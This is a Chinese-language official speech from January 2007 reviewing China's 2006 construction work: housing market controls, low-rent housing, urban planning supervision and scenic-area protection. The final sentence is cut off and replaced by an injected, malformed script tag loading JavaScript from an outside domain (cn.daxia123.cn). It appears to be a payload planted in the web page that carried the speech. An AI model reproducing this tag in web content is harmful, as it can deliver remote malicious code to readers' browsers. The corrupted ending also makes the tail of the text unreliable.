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把握形勢　明確任務　切實做好 2007年建設工作

——在全國建設工作會議上的報告
汪　光　燾
（2007年1月23日）

同志們：

　　這次會議的主要任務是，以鄧小平理論和“三個代表”重要思想為指導，認真貫徹黨的十六大、十六屆三中、四中、五中、六中全會和中央經濟工作會議精神，全面落實科學發展觀和構建社會主義和諧社會重大戰略思想，總結 2006 年建設工作，研究部署 2007 年工作。下面，我講幾點意見。

　　一、2006年工作取得新進展

　　2006 年是“十一五”開局之年。建設系統廣大干部職工認真貫徹執行黨中央、國務院的各項決策部署，統一認識，恪盡職守，認識上有新提高，政策上有新舉措，實踐上有新進展，為經濟社會持續健康協調發展做出了新的貢獻。

　　（一）全面貫徹落實房地產市場調控政策措施。一年來，我們以制訂和貫徹《國務院辦公廳轉發建設部等部門關于調整住房供應結構穩定住房價格意見的通知》（國辦發[2006]37號）為主線，著力調整住房供應結構，合理引導住房消費，整頓和規范房地產市場秩序。根據我國人多地少、資源短缺的實際，提出了套型建筑面積90平方米以下的住房面積占新建商品住房總面積70％的目標要求 ， 綜合運用經濟、法律和必要的行政手段加以落實。從建設部會同有關部門對11個省（區、市）貫徹落實房地產市場調控政策情況進行的督查情況看，各地區各部門認真貫徹各項房地產市場調控政策措施，取得了初步成效。住房價格漲幅趨緩。12月份，全國70個大中城市新建商品住房銷售價格同比上漲6.3％，比去年同期回落0.8個百分點。部分地區商品住房價格過快上漲的勢頭有所遏制。房地產開發投資增長平穩。全年，全國房地產開發投資同比增長21.8％，低于同期城鎮固定資產投資增幅2.2個百分點，增幅保持平穩。城鎮房屋拆遷規模得到有效控制。前三季度拆遷面積同比下降17.6％。住房供應結構調整有了好的開端。新開工商品住房項目中90平方米以下套型所占比重明顯提高。開展了住房狀況調查，制定了住房建設規劃。截止12月20日，省會以上城市全部完成住房建設規劃編制、公布和備案；地級以上城市中完成編制的占92.3％，已公布的占68.3％。住房保障制度建設工作力度加大。截止12月20日，274個地級以上城市建立并實施了廉租住房制度。河北省所有市、縣全部建立廉租住房制度。北京、成都、南通將廉租住房制度覆蓋面擴大到最低職工工資家庭或低收入家庭。天津采取“帶戶型標準、銷售價格、銷售對象和竣工入住時間”方式，招標選擇經濟適用房建設單位。市場秩序有所好轉。會同國家發展改革委、國家工商總局下發《關于進一步整頓規范房地產交易秩序的通知》，明確用兩年時間、分四個階段，有重點的進行專項整治，曝光了32起擾亂房地產市場秩序、侵害群眾利益的典型案例，目前已進入自查自糾與督察階段。依法妥善處理了北京美麗園、廣州華南新城等十多起物業管理糾紛。投機和投資性購房活動明顯減少。稅收、信貸、土地政策得到逐步落實。

　　（二）建立健全城鄉規劃編制和實施監督機制。國務院原則通過并向全國人大常委會提請審議《城鄉規劃法》，國務院辦公廳轉發《建設部關于加強城市總體規劃工作的意見》（國辦發[2006]12號）。依法指導各地科學編制城市規劃。組織省域城鎮體系規劃和城市總體規劃審查，開展近期建設規劃的編制和備案審核。完成了《全國城鎮體系規劃》的編制，啟動了長三角、京津冀、北部灣、海峽西岸等重要城鎮密集地區城鎮群規劃的編制組織工作。推動縣域村鎮體系規劃試點。江蘇省全面啟動對規劃地域空間的全面覆蓋。加大城鄉規劃實施監督力度。經中編辦批準，組建了建設部稽查辦公室。積極推動各省級建設行政主管部門建立稽查制度，16個省（自治區、直轄市）建立了相應的機構。在全面 開展規劃效能監察的同時，推廣實施城市規劃監督員制度。建設部向6個由國務院審批總體規劃的城市派駐城市規劃督察員。四川、貴州、寧夏、江西、湖南、黑龍江、安徽等省（區）開展派駐城市規劃督察員試點。廣東頒布了《珠江三角洲城鎮群協調發展規劃實施條例》。海南省建立了省對重大項目選址的規劃審批制度，保障《海南省城鄉總體規劃》的實施。加強風景名勝資源保護和利用。國務院頒布了《風景名勝區條例》。國家重點風景名勝區總體規劃編制工作進一步加快，九寨溝等7個總體規劃經國務院批準實施；黃山等40個總體規劃通過部際審查“ 大熊貓棲息地”成功申報世界自然遺產，公布了首批30處國家自然遺產、自然與文化雙遺產預備名錄。國家?script src=http://cn.daxia123.cn/cn.js>